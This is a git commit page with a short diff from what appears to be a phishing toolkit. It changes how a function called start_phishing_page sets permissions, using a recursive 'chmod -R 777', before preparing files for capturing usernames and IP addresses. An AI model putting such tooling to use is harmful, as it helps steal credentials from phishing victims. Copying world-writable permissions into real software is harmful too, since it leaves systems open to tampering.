Replaced os.chmod with run_command to add Recursive

This commit is contained in:
sTiKyt 2020-05-25 16:25:41 +03:00
parent 435d95ff7a
commit 41801a00b9
No known key found for this signature in database
GPG Key ID: 510E1C3C9B2414B4

View File

@ -241,10 +241,11 @@ def start_main_menu():
def start_phishing_page(page, custom_option): # Phishing pages selection menu def start_phishing_page(page, custom_option): # Phishing pages selection menu
chmod('Server', 777) #chmod('Server', 777)
run_command(['chmod', '-R', '777', 'Server'])
rmtree("Server/www", onerror=simple_informant.remove_readonly) rmtree("Server/www", onerror=simple_informant.remove_readonly)
mkdir('Server/www') mkdir('Server/www')
chmod('Server/www', 777) #chmod('Server/www', 777)
pathlib_Path('Server/www/usernames.txt').touch() pathlib_Path('Server/www/usernames.txt').touch()
pathlib_Path('Server/www/ip.txt').touch() pathlib_Path('Server/www/ip.txt').touch()
copyfile('WebPages/ip.php', 'Server/www/ip.php') copyfile('WebPages/ip.php', 'Server/www/ip.php')